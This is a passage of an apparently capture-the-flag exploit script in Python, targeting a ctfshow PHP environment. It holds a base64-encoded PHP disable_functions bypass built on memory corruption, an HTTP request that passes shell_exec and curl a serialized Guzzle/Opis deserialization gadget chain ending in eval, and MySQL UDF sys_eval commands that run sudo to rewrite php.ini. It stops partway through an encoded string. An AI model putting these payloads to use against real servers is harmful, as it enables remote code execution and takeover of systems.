G9nKCJyZWFsIGNsb3N1cmUgQCAweCV4IiwgJGNsb3N1cmVfYWRkcik7DQoNCiAgICAgICAgJGNsb3N1cmVfY2UgPSAkdGhpcy0+cmVhZCgkY2xvc3VyZV9hZGRyICsgMHgxMCk7DQogICAgICAgICR0aGlzLT5sb2coImNsb3N1cmUgY2xhc3NfZW50cnkgQCAweCV4IiwgJGNsb3N1cmVfY2UpOw0KDQogICAgICAgICRiYXNpY19mdW5jcyA9ICR0aGlzLT5nZXRfYmFzaWNfZnVuY3MoJGNsb3N1cmVfY2UpOw0KICAgICAgICAkdGhpcy0+bG9nKCJiYXNpY19mdW5jdGlvbnMgQCAweCV4IiwgJGJhc2ljX2Z1bmNzKTsNCg0KICAgICAgICAkemlmX3N5c3RlbSA9ICR0aGlzLT5nZXRfc3lzdGVtKCRiYXNpY19mdW5jcyk7DQogICAgICAgICR0aGlzLT5sb2coInppZl9zeXN0ZW0gQCAweCV4IiwgJHppZl9zeXN0ZW0pOw0KDQogICAgICAgICRmYWtlX2Nsb3N1cmVfb2ZmID0gJHRoaXMtPmhlbHBlcl9vZmYgKyBDSFVOS19TSVpFICogMjsNCiAgICAgICAgZm9yKCRpID0gMDsgJGkgPCAweDEzODsgJGkgKz0gOCkgew0KICAgICAgICAgICAgJHRoaXMtPndyaXRlKCRmYWtlX2Nsb3N1cmVfb2ZmICsgJGksICR0aGlzLT5yZWFkKCRjbG9zdXJlX2FkZHIgKyAkaSkpOw0KICAgICAgICB9DQogICAgICAgICR0aGlzLT53cml0ZSgkZmFrZV9jbG9zdXJlX29mZiArIDB4MzgsIDEsIDQpOw0KDQogICAgICAgICRoYW5kbGVyX29mZnNldCA9IFBIUF9NQUpPUl9WRVJTSU9OID09PSA4ID8gMHg3MCA6IDB4Njg7DQogICAgICAgICR0aGlzLT53cml0ZSgkZmFrZV9jbG9zdXJlX29mZiArICRoYW5kbGVyX29mZnNldCwgJHppZl9zeXN0ZW0pOw0KDQogICAgICAgICRmYWtlX2Nsb3N1cmVfYWRkciA9ICR0aGlzLT5oZWxwZXJfYWRkciArICRmYWtlX2Nsb3N1cmVfb2ZmIC0gJHRoaXMtPmhlbHBlcl9vZmY7DQogICAgICAgICR0aGlzLT53cml0ZSgkdGhpcy0+aGVscGVyX29mZiArIDB4MzgsICRmYWtlX2Nsb3N1cmVfYWRkcik7DQogICAgICAgICR0aGlzLT5sb2coImZha2UgY2xvc3VyZSBAIDB4JXgiLCAkZmFrZV9jbG9zdXJlX2FkZHIpOw0KDQogICAgICAgICR0aGlzLT5jbGVhbnVwKCk7DQogICAgICAgICgkdGhpcy0+aGVscGVyLT5iKShDTUQpOw0KICAgIH0NCg0KICAgIHByaXZhdGUgZnVuY3Rpb24gbWFrZV91YWZfb2JqKCkgew0KICAgICAgICAkdGhpcy0+dWFmcCA9IGZvcGVuKCdwaHA6Ly9tZW1vcnknLCAndycpOw0KICAgICAgICBmd3JpdGUoJHRoaXMtPnVhZnAsIHBhY2soJ1FRUScsIDEsIDAsIDB4REVBREJBQURDMERFKSk7DQogICAgICAgIGZvcigkaSA9IDA7ICRpIDwgU1RSSU5HX1NJWkU7ICRpKyspIHsNCiAgICAgICAgICAgIGZ3cml0ZSgkdGhpcy0+dWFmcCwgIlx4MDAiKTsNCiAgICAgICAgfQ0KICAgIH0NCg0KICAgIHByaXZhdGUgZnVuY3Rpb24gcHJlcGFyZV9sZWFrZXIoKSB7DQogICAgICAgICRzdHJfb2ZmID0gJHRoaXMtPmhlbHBlcl9vZmYgKyBDSFVOS19TSVpFICsgODsNCiAgICAgICAgJHRoaXMtPndyaXRlKCRzdHJfb2ZmLCAyKTsNCiAgICAgICAgJHRoaXMtPndyaXRlKCRzdHJfb2ZmICsgMHgxMCwgNik7DQoNCiAgICAgICAgJHZhbF9vZmYgPSAkdGhpcy0+aGVscGVyX29mZiArIDB4NDg7DQogICAgICAgICR0aGlzLT53cml0ZSgkdmFsX29mZiwgJHRoaXMtPmhlbHBlcl9hZGRyICsgQ0hVTktfU0laRSArIDgpOw0KICAgICAgICAkdGhpcy0+d3JpdGUoJHZhbF9vZmYgKyA4LCAweEEpOw0KICAgIH0NCg0KICAgIHByaXZhdGUgZnVuY3Rpb24gcHJlcGFyZV9jbGVhbnVwKCRiaW5hcnlfbGVhaykgew0KICAgICAgICAkcmV0X2dhZGdldCA9ICRiaW5hcnlfbGVhazsNCiAgICAgICAgZG8gew0KICAgICAgICAgICAgLS0kcmV0X2dhZGdldDsNCiAgICAgICAgfSB3aGlsZSgkdGhpcy0+cmVhZCgkcmV0X2dhZGdldCwgMSkgIT09IDB4QzMpOw0KICAgICAgICAkdGhpcy0+bG9nKCJyZXQgZ2FkZ2V0ID0gMHgleCIsICRyZXRfZ2FkZ2V0KTsNCiAgICAgICAgJHRoaXMtPndyaXRlKDAsICR0aGlzLT5hYmNfYWRkciArIDB4MjAgLSAoUEhQX01BSk9SX1ZFUlNJT04gPT09IDggPyAweDUwIDogMHg2MCkpOw0KICAgICAgICAkdGhpcy0+d3JpdGUoOCwgJHJldF9nYWRnZXQpOw0KICAgIH0NCg0KICAgIHByaXZhdGUgZnVuY3Rpb24gcmVhZCgkYWRkciwgJG4gPSA4KSB7DQogICAgICAgICR0aGlzLT53cml0ZSgkdGhpcy0+aGVscGVyX29mZiArIENIVU5LX1NJWkUgKyAxNiwgJGFkZHIgLSAweDEwKTsNCiAgICAgICAgJHZhbHVlID0gc3RybGVuKCR0aGlzLT5oZWxwZXItPmMpOw0KICAgICAgICBpZigkbiAhPT0gOCkgeyAkdmFsdWUgJj0gKDEgPDwgKCRuIDw8IDMpKSAtIDE7IH0NCiAgICAgICAgcmV0dXJuICR2YWx1ZTsNCiAgICB9DQoNCiAgICBwcml2YXRlIGZ1bmN0aW9uIHdyaXRlKCRwLCAkdiwgJG4gPSA4KSB7DQogICAgICAgIGZvcigkaSA9IDA7ICRpIDwgJG47ICRpKyspIHsNCiAgICAgICAgICAgICR0aGlzLT5hYmNbJHAgKyAkaV0gPSBjaHIoJHYgJiAweGZmKTsNCiAgICAgICAgICAgICR2ID4+PSA4Ow0KICAgICAgICB9DQogICAgfQ0KDQogICAgcHJpdmF0ZSBmdW5jdGlvbiBnZXRfYmFzaWNfZnVuY3MoJGFkZHIpIHsNCiAgICAgICAgd2hpbGUodHJ1ZSkgew0KICAgICAgICAgICAgJGFkZHIgLT0gMHgxMDsNCiAgICAgICAgICAgIGlmKCR0aGlzLT5yZWFkKCRhZGRyLCA0KSA9PT0gMHhBOCAmJg0KICAgICAgICAgICAgICAgIGluX2FycmF5KCR0aGlzLT5yZWFkKCRhZGRyICsgNCwgNCksDQogICAgICAgICAgICAgICAgICAgIFsyMDE1MTAxMiwgMjAxNjAzMDMsIDIwMTcwNzE4LCAyMDE4MDczMSwgMjAxOTA5MDIsIDIwMjAwOTMwXSkpIHsNCiAgICAgICAgICAgICAgICAkbW9kdWxlX25hbWVfYWRkciA9ICR0aGlzLT5yZWFkKCRhZGRyICsgMHgyMCk7DQogICAgICAgICAgICAgICAgJG1vZHVsZV9uYW1lID0gJHRoaXMtPnJlYWQoJG1vZHVsZV9uYW1lX2FkZHIpOw0KICAgICAgICAgICAgICAgIGlmKCRtb2R1bGVfbmFtZSA9PT0gMHg2NDcyNjE2NDZlNjE3NDczKSB7DQogICAgICAgICAgICAgICAgICAgICR0aGlzLT5sb2coInN0YW5kYXJkIG1vZHVsZSBAIDB4JXgiLCAkYWRkcik7DQogICAgICAgICAgICAgICAgICAgIHJldHVybiAkdGhpcy0+cmVhZCgkYWRkciArIDB4MjgpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0NCg0KICAgIHByaXZhdGUgZnVuY3Rpb24gZ2V0X3N5c3RlbSgkYmFzaWNfZnVuY3MpIHsNCiAgICAgICAgJGFkZHIgPSAkYmFzaWNfZnVuY3M7DQogICAgICAgIGRvIHsNCiAgICAgICAgICAgICRmX2VudHJ5ID0gJHRoaXMtPnJlYWQoJGFkZHIpOw0KICAgICAgICAgICAgJGZfbmFtZSA9ICR0aGlzLT5yZWFkKCRmX2VudHJ5LCA2KTsNCiAgICAgICAgICAgIGlmKCRmX25hbWUgPT09IDB4NmQ2NTc0NzM3OTczKSB7DQogICAgICAgICAgICAgICAgcmV0dXJuICR0aGlzLT5yZWFkKCRhZGRyICsgOCk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkYWRkciArPSAweDIwOw0KICAgICAgICB9IHdoaWxlKCRmX2VudHJ5ICE9PSAwKTsNCiAgICB9DQoNCiAgICBwcml2YXRlIGZ1bmN0aW9uIGNsZWFudXAoKSB7DQogICAgICAgICR0aGlzLT5oZnAgPSBmb3BlbigncGhwOi8vbWVtb3J5JywgJ3cnKTsNCiAgICAgICAgZndyaXRlKCR0aGlzLT5oZnAsIHBhY2soJ1FRJywgMCwgJHRoaXMtPmFiY19hZGRyKSk7DQogICAgICAgIGZvcigkaSA9IDA7ICRpIDwgRklMVEVSX1NJWkUgLSAweDEwOyAkaSsrKSB7DQogICAgICAgICAgICBmd3JpdGUoJHRoaXMtPmhmcCwgIlx4MDAiKTsNCiAgICAgICAgfQ0KICAgIH0NCg0KICAgIHByaXZhdGUgZnVuY3Rpb24gc3RyMnB0cigkcCA9IDAsICRuID0gOCkgew0KICAgICAgICAkYWRkcmVzcyA9IDA7DQogICAgICAgIGZvcigkaiA9ICRuIC0gMTsgJGogPj0gMDsgJGotLSkgew0KICAgICAgICAgICAgJGFkZHJlc3MgPDw9IDg7DQogICAgICAgICAgICAkYWRkcmVzcyB8PSBvcmQoJHRoaXMtPmFiY1skcCArICRqXSk7DQogICAgICAgIH0NCiAgICAgICAgcmV0dXJuICRhZGRyZXNzOw0KICAgIH0NCg0KICAgIHByaXZhdGUgZnVuY3Rpb24gcHRyMnN0cigkcHRyLCAkbiA9IDgpIHsNCiAgICAgICAgJG91dCA9ICcnOw0KICAgICAgICBmb3IgKCRpID0gMDsgJGkgPCAkbjsgJGkrKykgew0KICAgICAgICAgICAgJG91dCAuPSBjaHIoJHB0ciAmIDB4ZmYpOw0KICAgICAgICAgICAgJHB0ciA+Pj0gODsNCiAgICAgICAgfQ0KICAgICAgICByZXR1cm4gJG91dDsNCiAgICB9DQoNCiAgICBwcml2YXRlIGZ1bmN0aW9uIGxvZygkZm9ybWF0LCAkdmFsID0gJycpIHsNCiAgICAgICAgaWYoTE9HR0lORykgew0KICAgICAgICAgICAgcHJpbnRmKCJ7JGZvcm1hdH1cbiIsICR2YWwpOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgc3RhdGljIGZ1bmN0aW9uIGFsbG9jKCRzaXplKSB7DQogICAgICAgIHJldHVybiBzdHJfc2h1ZmZsZShzdHJfcmVwZWF0KCdBJywgJHNpemUpKTsNCiAgICB9DQp9");
    fwrite($myfile, $txt);
    fclose($myfile);

    $myfileContent = file_get_contents("/tmp/newfile.txt");
    $txt = base64_decode("{pwn_shell.decode('utf8')}");
    $myfileContent = $myfileContent . $txt;
    file_put_contents("/tmp/newfile.txt", $myfileContent);

    require_once("/tmp/newfile.txt");
    """

    phpBypass_second = base64.b64encode(phpBypass_second.encode())

    burp0_url = url + "1.php"
    burp0_headers = {"Accept-Encoding": "gzip, deflate", "User-Agent": "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 2.0.50727; Media Center PC 6.0)", "Content-Type": "application/x-www-form-urlencoded", "Connection": "close"}
    
    burp0_data = {"1": "echo shell_exec('curl \"http://172.2."+net_id+".5:8888/index.php?r=site/unserialize&key=flag_663=ctfshow\\{fa5cc1fb0bfc986d1ef150269c0de197\\}\" -d \"UnserializeForm[ctfshowUnserializeData]=O%3A32%3A%22Codeception%5CExtension%5CRunProcess%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00output%22%3BO%3A22%3A%22Faker%5CDefaultGenerator%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00default%22%3Bs%3A5%3A%22jiang%22%3B%7Ds%3A43%3A%22%00Codeception%5CExtension%5CRunProcess%00processes%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A22%3A%22Faker%5CDefaultGenerator%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00default%22%3BO%3A28%3A%22GuzzleHttp%5CPsr7%5CAppendStream%22%3A2%3A%7Bs%3A37%3A%22%00GuzzleHttp%5CPsr7%5CAppendStream%00streams%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A29%3A%22GuzzleHttp%5CPsr7%5CCachingStream%22%3A2%3A%7Bs%3A43%3A%22%00GuzzleHttp%5CPsr7%5CCachingStream%00remoteStream%22%3BO%3A22%3A%22Faker%5CDefaultGenerator%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00default%22%3Bb%3A0%3B%7Ds%3A6%3A%22stream%22%3BO%3A26%3A%22GuzzleHttp%5CPsr7%5CPumpStream%22%3A3%3A%7Bs%3A34%3A%22%00GuzzleHttp%5CPsr7%5CPumpStream%00source%22%3BC%3A32%3A%22Opis%5CClosure%5CSerializableClosure%22%3A192%3A%7Ba%3A5%3A%7Bs%3A3%3A%22use%22%3Ba%3A0%3A%7B%7Ds%3A8%3A%22function%22%3Bs%3A37%3A%22function%28%29%7Beval%28%24_REQUEST%5B2%5D%29%3Bdie%28%29%3B%7D%22%3Bs%3A5%3A%22scope%22%3Bs%3A26%3A%22GuzzleHttp%5CPsr7%5CPumpStream%22%3Bs%3A4%3A%22this%22%3BN%3Bs%3A4%3A%22self%22%3Bs%3A32%3A%22000000006cfe4a45000000005bbc4366%22%3B%7D%7Ds%3A32%3A%22%00GuzzleHttp%5CPsr7%5CPumpStream%00size%22%3Bi%3A-10%3Bs%3A34%3A%22%00GuzzleHttp%5CPsr7%5CPumpStream%00buffer%22%3BO%3A22%3A%22Faker%5CDefaultGenerator%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00default%22%3Bs%3A1%3A%22j%22%3B%7D%7D%7D%7Ds%3A38%3A%22%00GuzzleHttp%5CPsr7%5CAppendStream%00seekable%22%3Bb%3A1%3B%7D%7D%7D%7D&2='.$_REQUEST[22].'%3b\"');", "22": f"eval(base64_decode({phpBypass_second}));"}
    res = requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
    print(res.text)
    save_txt(res.text)

def restartPHP(url):
    sql_payload = """CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so';"""
    runMysql_root_first(url, sql_payload)

    sql_payload = """select sys_eval('sudo chmod 777 /usr/local/etc/php/php.ini;sudo ln -s /usr/bin/python3 /usr/bin/python')"""
    runMysql_root_first(url, sql_payload)

    sql_payload = """select sys_eval('sudo echo W1BIUF0NCg0KOzs7Ozs7Ozs7Ozs7Ozs7Ozs7Ow0KOyBBYm91dCBwaHAuaW5pICAgOw0KOzs7Ozs7Ozs7Ozs7Ozs7Ozs7Ow0KOyBQSFAmYW1wO2Fwb3M7cyBpbml0aWFsaXphdGlvbiBmaWxlLCBnZW5lcmFsbHkgY2FsbGVkIHBocC5pbmksIGlzIHJlc3BvbnNpYmxlIGZvcg0KOyBjb25maWd1cmluZyBtYW55IG9mIHRoZSBhc3BlY3RzIG9mIFBIUCZhbXA7YXBvcztzIGJlaGF2aW9yLg0KDQo7IFBIUCBhdHRlbXB0cyB0byBmaW5kIGFuZCBsb2FkIHRoaXMgY29uZmlndXJhdGlvbiBmcm9tIGEgbnVtYmVyIG9mIGxvY2F0aW9ucy4NCjsgVGhlIGZvbGxvd2luZyBpcyBhIHN1bW1hcnkgb2YgaXRzIHNlYXJjaCBvcmRlcjoNCjsgMS4gU0FQSSBtb2R1bGUgc3BlY2lmaWMgbG9jYXRpb24uDQo7IDIuIFRoZSBQSFBSQyBlbnZpcm9ubWVudCB2YXJpYWJsZS4gKEFzIG9mIFBIUCA1LjIuMCkNCjsgMy4gQSBudW1iZXIgb2YgcHJlZGVmaW5lZCByZWdpc3RyeSBrZXlzIG9uIFdpbmRvd3MgKEFzIG9mIFBIUCA1LjIuMCkNCjsgNC4gQ3VycmVudCB3b3JraW5nIGRpcmVjdG9yeSAoZXhjZXB0IENMSSkNCjsgNS4gVGhlIHdlYiBzZXJ2ZXImYW1wO2Fwb3M7cyBkaXJlY3RvcnkgKGZvciBTQVBJIG1vZHVsZXMpLCBvciBkaXJlY3Rvcnkgb2YgUEhQDQo7IChvdGhlcndpc2UgaW4gV2luZG93cykNCjsgNi4gVGhlIGRpcmVjdG9yeSBmcm9tIHRoZSAtLXdpdGgtY29uZmlnLWZpbGUtcGF0aCBjb21waWxlIHRpbWUgb3B0aW9uLCBvciB0aGUNCjsgV2luZG93cyBkaXJlY3RvcnkgKHVzdWFsbHkgQzpcd2luZG93cykNCjsgU2VlIHRoZSBQSFAgZG9jcyBmb3IgbW9yZSBzcGVjaWZpYyBpbmZvcm1hdGlvbi4NCjsgaHR0cDovL3BocC5uZXQvY29uZmlndXJhdGlvbi5maWxlDQoNCjsgVGhlIHN5bnRheCBvZiB0aGUgZmlsZSBpcyBleHRyZW1lbHkgc2ltcGxlLiAgV2hpdGVzcGFjZSBhbmQgbGluZXMNCjsgYmVnaW5uaW5nIHdpdGggYSBzZW1pY29sb24gYXJlIHNpbGVudGx5IGlnbm9yZWQgKGFzIHlvdSBwcm9iYWJseSBndWVzc2VkKS4NCjsgU2VjdGlvbiBoZWFkZXJzIChlLmcuIFtGb29dKSBhcmUgYWxzbyBzaWxlbnRseSBpZ25vcmVkLCBldmVuIHRob3VnaA0KOyB0aGV5IG1pZ2h0IG1lYW4gc29tZXRoaW5nIGluIHRoZSBmdXR1cmUuDQoNCjsgRGlyZWN0aXZlcyBmb2xsb3dpbmcgdGhlIHNlY3Rpb24gaGVhZGluZyBbUEFUSD0vd3d3L215c2l0ZV0gb25seQ0KOyBhcHBseSB0byBQSFAgZmlsZXMgaW4gdGhlIC93d3cvbXlzaXRlIGRpcmVjdG9yeS4gIERpcmVjdGl2ZXMNCjsgZm9sbG93aW5nIHRoZSBzZWN0aW9uIGhlYWRpbmcgW0hPU1Q9d3d3LmV4YW1wbGUuY29tXSBvbmx5IGFwcGx5IHRvDQo7IFBIUCBmaWxlcyBzZXJ2ZWQgZnJvbSB3d3cuZXhhbXBsZS5jb20uICBEaXJlY3RpdmVzIHNldCBpbiB0aGVzZQ0KOyBzcGVjaWFsIHNlY3Rpb25zIGNhbm5vdCBiZSBvdmVycmlkZGVuIGJ5IHVzZXItZGVmaW5lZCBJTkkgZmlsZXMgb3INCjsgYXQgcnVudGltZS4gQ3VycmVudGx5LCBbUEFUSD1dIGFuZCBbSE9TVD1dIHNlY3Rpb25zIG9ubHkgd29yayB1bmRlcg0KOyBDR0kvRmFzdENHSS4NCjsgaHR0cDovL3BocC5uZXQvaW5pLnNlY3Rpb25zDQoNCjsgRGlyZWN0aXZlcyBhcmUgc3BlY2lmaWVkIHVzaW5nIHRoZSBmb2xsb3dpbmcgc3ludGF4Og0KOyBkaXJlY3RpdmUgPSB2YWx1ZQ0KOyBEaXJlY3RpdmUgbmFtZXMgYXJlICpjYXNlIHNlbnNpdGl2ZSogLSBmb289YmFyIGlzIGRpZmZlcmVudCBmcm9tIEZPTz1iYXIuDQo7IERpcmVjdGl2ZXMgYXJlIHZhcmlhYmxlcyB1c2VkIHRvIGNvbmZpZ3VyZSBQSFAgb3IgUEhQIGV4dGVuc2lvbnMuDQo7IFRoZXJlIGlzIG5vIG5hbWUgdmFsaWRhdGlvbi4gIElmIFBIUCBjYW4mYW1wO2Fwb3M7dCBmaW5kIGFuIGV4cGVjdGVkDQo7IGRpcmVjdGl2ZSBiZWNhdXNlIGl0IGlzIG5vdCBzZXQgb3IgaXMgbWlzdHlwZWQsIGEgZGVmYXVsdCB2YWx1ZSB3aWxsIGJlIHVzZWQuDQoNCjsgVGhlIHZhbHVlIGNhbiBiZSBhIHN0cmluZywgYSBudW1iZXIsIGEgUEhQIGNvbnN0YW50IChlLmcuIEVfQUxMIG9yIE1fUEkpLCBvbmUNCjsgb2YgdGhlIElOSSBjb25zdGFudHMgKE9uLCBPZmYsIFRydWUsIEZhbHNlLCBZZXMsIE5vIGFuZCBOb25lKSBvciBhbiBleHByZXNzaW9uDQo7IChlLmcuIEVfQUxMICZhbXA7YW1wOyB+RV9OT1RJQ0UpLCBhIHF1b3RlZCBzdHJpbmcgKCZhbXA7cXVvdDtiYXImYW1wO3F1b3Q7KSwgb3IgYSByZWZlcmVuY2UgdG8gYQ0KOyBwcmV2aW91c2x5IHNldCB2YXJpYWJsZSBvciBkaXJlY3RpdmUgKGUuZy4gJHtmb299KQ0KDQo7IEV4cHJlc3Npb25zIGluIHRoZSBJTkkgZmlsZSBhcmUgbGltaXRlZCB0byBiaXR3aXNlIG9wZXJhdG9ycyBhbmQgcGFyZW50aGVzZXM6DQo7IHwgIGJpdHdpc2UgT1INCjsgXiAgYml0d2lzZSBYT1INCjsgJmFtcDthbXA7ICBiaXR3aXNlIEFORA0KOyB+ICBiaXR3aXNlIE5PVA0KOyAhICBib29sZWFuIE5PVA0KDQo7IEJvb2xlYW4gZmxhZ3MgY2FuIGJlIHR1cm5lZCBvbiB1c2luZyB0aGUgdmFsdWVzIDEsIE9uLCBUcnVlIG9yIFllcy4NCjsgVGhleSBjYW4gYmUgdHVybmVkIG9mZiB1c2luZyB0aGUgdmFsdWVzIDAsIE9mZiwgRmFsc2Ugb3IgTm8uDQoNCjsgQW4gZW1wdHkgc3RyaW5nIGNhbiBiZSBkZW5vdGVkIGJ5IHNpbXBseSBub3Qgd3JpdGluZyBhbnl0aGluZyBhZnRlciB0aGUgZXF1YWwNCjsgc2lnbiwgb3IgYnkgdXNpbmcgdGhlIE5vbmUga2V5d29yZDoNCg0KOyBmb28gPSAgICAgICAgIDsgc2V0cyBmb28gdG8gYW4gZW1wdHkgc3RyaW5nDQo7IGZvbyA9IE5vbmUgICAgOyBzZXRzIGZvbyB0byBhbiBlbXB0eSBzdHJpbmcNCjsgZm9vID0gJmFtcDtxdW90O05vbmUmYW1wO3F1b3Q7ICA7IHNldHMgZm9vIHRvIHRoZSBzdHJpbmcgJmFtcDthcG9zO05vbmUmYW1wO2Fwb3M7DQoNCjsgSWYgeW91IHVzZSBjb25zdGFudHMgaW4geW91ciB2YWx1ZSwgYW5kIHRoZXNlIGNvbnN0YW50cyBiZWxvbmcgdG8gYQ0KOyBkeW5hbWljYWxseSBsb2FkZWQgZXh0ZW5zaW9uIChlaXRoZXIgYSBQSFAgZXh0ZW5zaW9uIG9yIGEgWmVuZCBleHRlbnNpb24pLA0KOyB5b3UgbWF5IG9ubHkgdXNlIHRoZXNlIGNvbnN0YW50cyAqYWZ0ZXIqIHRoZSBsaW5lIHRoYXQgbG9hZHMgdGhlIGV4dGVuc2lvbi4NCg0KOzs7Ozs7Ozs7Ozs7Ozs7Ozs7Ow0KOyBBYm91dCB0aGlzIGZpbGUgOw0KOzs7Ozs7Ozs7Ozs7Ozs7Ozs7Ow0KOyBQSFAgY29tZXMgcGFja2FnZWQgd2l0aCB0d28gSU5JIGZpbGVzLiBPbmUgdGhhdCBpcyByZWNvbW1lbmRlZCB0byBiZSB1c2VkDQo7IGluIHByb2R1Y3Rpb24gZW52aXJvbm1lbnRzIGFuZCBvbmUgdGhhdCBpcyByZWNvbW1lbmRlZCB0byBiZSB1c2VkIGluDQo7IGRldmVsb3BtZW50IGVudmlyb25tZW50cy4NCg0KOyBwaHAuaW5pLXByb2R1Y3Rpb24gY29udGFpbnMgc2V0dGluZ3Mgd2hpY2ggaG9sZCBzZWN1cml0eSwgcGVyZm9ybWFuY2UgYW5kDQo7IGJlc3QgcHJhY3RpY2VzIGF0IGl0cyBjb3JlLiBCdXQgcGxlYXNlIGJlIGF3YXJlLCB0aGVzZSBzZXR0aW5ncyBtYXkgYnJlYWsNCjsgY29tcGF0aWJpbGl0eSB3aXRoIG9sZGVyIG9yIGxlc3Mgc2VjdXJpdHkgY29uc2NpZW5jZSBhcHBsaWNhdGlvbnMuIFdlDQo7IHJlY29tbWVuZGluZyB1c2luZyB0aGUgcHJvZHVjdGlvbiBpbmkgaW4gcHJvZHVjdGlvbiBhbmQgdGVzdGluZyBlbnZpcm9ubWVudHMuDQoNCjsgcGhwLmluaS1kZXZlbG9wbWVudCBpcyB2ZXJ5IHNpbWlsYXIgdG8gaXRzIHByb2R1Y3Rpb24gdmFyaWFudCwgZXhjZXB0IGl0IGlzDQo7IG11Y2ggbW9yZSB2ZXJib3NlIHdoZW4gaXQgY29tZXMgdG8gZXJyb3JzLiBXZSByZWNvbW1lbmQgdXNpbmcgdGhlDQo7IGRldmVsb3BtZW50IHZlcnNpb24gb25seSBpbiBkZXZlbG9wbWVudCBlbnZpcm9ubWVudHMsIGFzIGVycm9ycyBzaG93biB0bw0KOyBhcHBsaWNhdGlvbiB1c2VycyBjYW4gaW5hZHZlcnRlbnRseSBsZWFrIG90aGVyd2lzZSBzZWN1cmUgaW5mb3JtYXRpb24uDQoNCjsgVGhpcyBpcyB0aGUgcGhwLmluaS1kZXZlbG9wbWVudCBJTkkgZmlsZS4NCg0KOzs7Ozs7Ozs7Ozs7Ozs7Ozs7Ow0KOyBRdWljayBSZWZlcmVuY2UgOw0KOzs7Ozs7Ozs7Ozs7Ozs7Ozs7Ow0KOyBUaGUgZm9sbG93aW5nIGFyZSBhbGwgdGhlIHNldHRpbmdzIHdoaWNoIGFyZSBkaWZmZXJlbnQgaW4gZWl0aGVyIHRoZSBwcm9kdWN0aW9uDQo7IG9yIGRldmVsb3BtZW50IHZlcnNpb25zIG9mIHRoZSBJTklzIHdpdGggcmVzcGVjdCB0byBQSFAmYW1wO2Fwb3M7cyBkZWZhdWx0IGJlaGF2aW9yLg0KOyBQbGVhc2Ugc2VlIHRoZSBhY3R1YWwgc2V0dGluZ3MgbGF0ZXIgaW4gdGhlIGRvY3VtZW50IGZvciBtb3JlIGRldGFpbHMgYXMgdG8gd2h5DQo7IHdlIHJlY29tbWVuZCB0aGVzZSBjaGFuZ2VzIGluIFBIUCZhbXA7YXBvcztzIGJlaGF2aW9yLg0KDQo7IGRpc3BsYXlfZXJyb3JzDQo7ICAgRGVmYXVsdCBWYWx1ZTogT24NCjsgICBEZXZlbG9wbWVudCBWYWx1ZTogT24NCjsgICBQcm9kdWN0aW9uIFZhbHVlOiBPZmYNCg0KOyBkaXNwbGF5X3N0YXJ0dXBfZXJyb3JzDQo7ICAgRGVmYXVsdCBWYWx1ZTogT2ZmDQo7ICAgRGV2ZWxvcG1lbnQgVmFsdWU6IE9uDQo7ICAgUHJvZHVjdGlvbiBWYWx1ZTogT2ZmDQoNCjsgZXJyb3JfcmVwb3J0aW5nDQo7ICAgRGVmYXVsdCBWYWx1ZTogRV9BTEwgJmFtcDthbXA7IH5FX05PVElDRSAmYW1wO2FtcDsgfkVfU1RSSUNUICZhbXA7YW1wOyB+RV9ERVBSRUNBVEVEDQo7ICAgRGV2ZWxvcG1lbnQgVmFsdWU6IEVfQUxMDQo7ICAgUHJvZHVjdGlvbiBWYWx1ZTogRV9BTEwgJmFtcDthbXA7IH5FX0RFUFJFQ0FURUQgJmFtcDthbXA7IH5FX1NUUklDVA0KDQo7IGh0bWxfZXJyb3JzDQo7ICAgRGVmYXVsdCBWYWx1ZTogT24NCjsgICBEZXZlbG9wbWVudCBWYWx1ZTogT24NCjsgICBQcm9kdWN0aW9uIHZhbHVlOiBPbg0KDQo7IGxvZ19lcnJvcnMNCjsgICBEZWZhdWx0IFZhbHVlOiBPZmYNCjsgICBEZXZlbG9wbWVudCBWYWx1ZTogT24NCjsgICBQcm9kdWN0aW9uIFZhbHVlOiBPbg0KDQo7IG1heF9pbnB1dF90aW1lDQo7ICAgRGVmYXVsdCBWYWx1ZTogLTEgKFVubGltaXRlZCkNCjsgICBEZXZlbG9wbWVudCBWYWx1ZTogNjAgKDYwIHNlY29uZHMpDQo7ICAgUHJvZHVjdGlvbiBWYWx1ZTogNjAgKDYwIHNlY29uZHMpDQoNCjsgb3V0cHV0X2J1ZmZlcmluZw0KOyAgIERlZmF1bHQgVmFsdWU6IE9mZg0KOyAgIERldmVsb3BtZW50IFZhbHVlOiA0MDk2DQo7ICAgUHJvZHVjdGlvbiBWYWx1ZTogNDA5Ng0KDQo7IHJlZ2lzdGVyX2FyZ2NfYXJndg0KOyAgIERlZmF1bHQgVmFsdWU6IE9uDQo7ICAgRGV2ZWxvcG1lbnQgVmFsdWU6IE9mZg0KOyAgIFByb2R1Y3Rpb24gVmFsdWU6IE9mZg0KDQo7IHJlcXVlc3Rfb3JkZXINCjsgICBEZWZhdWx0IFZhbHVlOiBOb25lDQo7ICAgRGV2ZWxvcG1lbnQgVmFsdWU6ICZhbXA7cXVvdDtHUCZhbXA7cXVvdDsNCjsgICBQcm9kdWN0aW9uIFZhbHVlOiAmYW1wO3F1b3Q7R1AmYW1wO3F1b3Q7DQoNCjsgc2Vzc2lvbi5nY19kaXZpc29yDQo7ICAgRGVmYXVsdCBWYWx1ZTogMTAwDQo7ICAgRGV2ZWxvcG1lbnQgVmFsdWU6IDEwMDANCjsgICBQcm9kdWN0aW9uIFZhbHVlOiAxMDAwDQoNCjsgc2Vzc2lvbi5zaWRfYml0c19wZXJfY2hhcmFjdGVyDQo7ICAgRGVmYXVsdCBWYWx1ZTogNA0KOyAgIERldmVsb3BtZW50IFZhbHVlOiA1DQo7ICAgUHJvZHVjdGlvbiBWYWx1ZTogNQ0KDQo7IHNob3J0X29wZW5fdGFnDQo7ICAgRGVmYXVsdCBWYWx1ZTogT24NCjsgICBEZXZlbG9wbWVudCBWYWx1ZTogT2ZmD